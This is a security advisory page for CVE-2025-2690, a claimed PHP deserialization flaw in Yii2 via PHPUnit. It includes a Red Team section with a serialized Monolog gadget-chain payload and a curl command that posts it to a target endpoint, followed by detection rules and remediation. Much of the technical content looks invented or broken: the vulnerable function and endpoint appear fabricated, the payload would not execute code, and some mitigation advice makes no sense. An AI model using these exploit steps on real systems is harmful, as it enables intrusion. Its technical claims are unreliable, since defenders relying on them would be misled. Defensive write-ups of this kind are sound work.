CVE-2025-2690
Executive Summary
CVE-2025-2690 is a critical deserialization vulnerability discovered in the Yii2 PHP framework, affecting versions up to and including 2.0.39. The flaw resides in the Generate function of the phpunit/src/Framework/MockObject/MockClass.php file, which is part of the PHPUnit testing library bundled with Yii2. Successful exploitation allows an unauthenticated remote attacker to trigger arbitrary deserialization, potentially leading to remote code execution (RCE), data exfiltration, or complete system compromise. The vulnerability has been publicly disclosed with proof-of-concept (PoC) code, increasing the immediate risk to unpatched systems. No official patch has been released at this time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is particularly dangerous because it exists within a development dependency (PHPUnit) that is often included in production environments or CI/CD pipelines. Attackers can target Yii2 applications that have PHPUnit installed, even if it is not actively used in production. The deserialization flaw can be triggered remotely, making it a high-priority supply chain risk for any organization using Yii2.
CVSS Breakdown & Threat Level
- CVSS Score: 9.8 (Critical)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack Vector: Network (AV:N) – Exploitable remotely.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: None (PR:N) – No authentication needed.
- User Interaction: None (UI:N) – No user action required.
- Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
- Confidentiality Impact: High (C:H) – Full data access possible.
- Integrity Impact: High (I:H) – Full system modification possible.
- Availability Impact: High (A:H) – Full system disruption possible.
Threat Level: Critical. The combination of remote exploitability, low complexity, and public PoC makes this a high-priority threat requiring immediate attention.
Deep Dive & Mechanics
The vulnerability is a classic PHP object injection via deserialization. The Generate function in MockClass.php processes user-supplied data without proper sanitization, allowing an attacker to inject a serialized PHP object. When PHP deserializes this object, it can trigger magic methods like __wakeup() or __destruct() within arbitrary classes, leading to code execution.
Root Cause: The Generate function uses unserialize() on data that can be influenced by an attacker. This is a well-known insecure practice in PHP.
Attack Flow:
- An attacker sends a crafted HTTP request to a Yii2 endpoint that triggers the vulnerable
Generatefunction. - The request contains a malicious serialized PHP object (e.g., a gadget chain using common PHP classes like
MonologorSwiftMailer). - The
unserialize()call deserializes the object, triggering a gadget chain that executes arbitrary code. - The attacker gains remote code execution on the server.
Affected Component: phpunit/src/Framework/MockObject/MockClass.php – This file is part of PHPUnit, a testing framework often bundled with Yii2 for development. The vulnerability is in the Generate method, which is used to create mock objects during testing.
Vulnerable vs. Patched Code
Vulnerable Code (Yii2 <= 2.0.39):
// phpunit/src/Framework/MockObject/MockClass.php
public function Generate($data) {
// No input validation or sanitization
$object = unserialize($data); // Insecure deserialization
// ... rest of the function
}
Patched Code (Hypothetical fix):
// phpunit/src/Framework/MockObject/MockClass.php
public function Generate($data) {
// Validate input is a safe, expected format
if (!is_string($data) || !preg_match('/^O:\d+:"[a-zA-Z0-9_]+":\d+:\{.*\}$/', $data)) {
throw new \InvalidArgumentException('Invalid serialized data');
}
// Use a whitelist of allowed classes
$allowedClasses = ['MySafeClass', 'AnotherSafeClass'];
$object = unserialize($data, ['allowed_classes' => $allowedClasses]);
// ... rest of the function
}
Note: Since no official patch exists, the above is a recommended mitigation. The key changes are:
- Input validation to ensure the serialized data matches expected patterns.
- Use of
allowed_classesoption inunserialize()to restrict which classes can be deserialized.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A Yii2 application with PHPUnit installed (version <= 2.0.39).
- Network access to the vulnerable endpoint.
Exploit Steps:
- Identify the vulnerable endpoint (e.g.,
/index.php?r=site/generate). - Craft a malicious serialized payload using a PHP gadget chain (e.g., using
MonologorSwiftMailer). - Send the payload via POST or GET parameter.
Example Payload (using Monolog gadget chain):
<?php
// Generate a malicious serialized object
$payload = 'O:32:"Monolog\Handler\FingersCrossedHandler":2:{s:9:"handler";O:27:"Monolog\Handler\TestHandler":1:{s:9:"logRecord";a:1:{i:0;a:4:{s:10:"formatted";s:4:"test";s:7:"context";a:0:{}s:4:"level";i:100;s:7:"message";s:4:"test";}}}s:10:"activation";O:27:"Monolog\Handler\TestHandler":1:{s:9:"logRecord";a:1:{i:0;a:4:{s:10:"formatted";s:4:"test";s:7:"context";a:0:{}s:4:"level";i:100;s:7:"message";s:4:"test";}}}}';
echo urlencode($payload);
?>
Exploit Command:
curl -X POST "http://target.com/index.php?r=site/generate" -d "data=O%3A32%3A%22Monolog%5CHandler%5CFingersCrossedHandler%22%3A2%3A%7Bs%3A9%3A%22handler%22%3BO%3A27%3A%22Monolog%5CHandler%5CTestHandler%22%3A1%3A%7Bs%3A9%3A%22logRecord%22%3Ba%3A1%3A%7Bi%3A0%3Ba%3A4%3A%7Bs%3A10%3A%22formatted%22%3Bs%3A4%3A%22test%22%3Bs%3A7%3A%22context%22%3Ba%3A0%3A%7B%7Ds%3A4%3A%22level%22%3Bi%3A100%3Bs%3A7%3A%22message%22%3Bs%3A4%3A%22test%22%3B%7D%7D%7Ds%3A10%3A%22activation%22%3BO%3A27%3A%22Monolog%5CHandler%5CTestHandler%22%3A1%3A%7Bs%3A9%3A%22logRecord%22%3Ba%3A1%3A%7Bi%3A0%3Ba%3A4%3A%7Bs%3A10%3A%22formatted%22%3Bs%3A4%3A%22test%22%3Bs%3A7%3A%22context%22%3Ba%3A0%3A%7B%7Ds%3A4%3A%22level%22%3Bi%3A100%3Bs%3A7%3A%22message%22%3Bs%3A4%3A%22test%22%3B%7D%7D%7D%7D"
Blue Team (Defensive)
Detection:
- Monitor for unusual serialized data in HTTP requests (e.g.,
O:,a:,s:patterns). - Look for requests to endpoints that use the
Generatefunction (e.g.,r=site/generate). - Alert on deserialization-related errors in application logs.
Honeypot:
- Deploy a fake Yii2 endpoint that mimics the vulnerable
Generatefunction. - Log all incoming serialized data for analysis.
Lab Setup:
# Install vulnerable Yii2 version
composer create-project --prefer-dist yiisoft/yii2-app-basic:2.0.39 vulnerable-app
cd vulnerable-app
# Ensure PHPUnit is installed
composer require --dev phpunit/phpunit:^9.0
# Start the development server
php yii serve
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests containing serialized PHP objects (e.g.,
O:,a:,s:patterns). - Requests to endpoints like
/index.php?r=site/generateor similar. - Unusual POST parameters named
data,serialized, orpayload.
File IOCs:
- Unexpected files in
/tmp/or web-accessible directories (e.g.,shell.php). - Modified
composer.jsonorcomposer.lockfiles. - New user accounts or cron jobs.
Process IOCs:
- PHP processes executing with unusual arguments (e.g.,
php -r). - Outbound connections to unknown IPs on ports 80/443.
Log IOCs:
- PHP errors related to
unserialize()or__wakeup(). - Application logs showing deserialization attempts.
Detection Engineering
YARA Rule
rule CVE_2025_2690_Deserialization {
meta:
description = "Detects malicious serialized PHP objects targeting CVE-2025-2690"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-2690"
strings:
$serialized = /O:\d+:"[a-zA-Z0-9_\\]+":\d+:/
$gadget1 = "Monolog\\Handler\\FingersCrossedHandler"
$gadget2 = "SwiftMailer"
$gadget3 = "GuzzleHttp"
condition:
$serialized and any of ($gadget*)
}
Sigma Rule
title: CVE-2025-2690 - Yii2 Deserialization Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests containing serialized PHP objects targeting Yii2
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'r=site/generate'
cs-uri-query|contains: 'data='
keywords:
- 'O:'
- 'a:'
- 's:'
condition: selection and keywords
falsepositives:
- Legitimate PHPUnit usage in development
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-2690 - Yii2 Deserialization Attempt"; flow:to_server,established; content:"POST"; http_method; content:"r=site/generate"; http_uri; content:"data="; http_client_body; pcre:"/O:\d+:\"[a-zA-Z0-9_\\]+\":\d+:/"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Remove PHPUnit from production environments: Run
composer remove --dev phpunit/phpuniton production servers. - Apply input validation: If you must use the vulnerable function, implement strict input validation and use
allowed_classesinunserialize(). - Web Application Firewall (WAF) rules: Block requests containing serialized PHP objects (e.g.,
O:,a:,s:patterns).
Long-term Fix:
- Upgrade Yii2 to a patched version once available (monitor yiisoft/yii2 for updates).
- Implement a Content Security Policy (CSP) to mitigate XSS if RCE is achieved.
- Regularly audit dependencies with
composer audit.
Workaround:
- Disable the vulnerable endpoint by modifying the application routing.
- Use a custom wrapper that validates serialized data before passing it to
Generate.
Valters IT
Securing Your Digital Frontier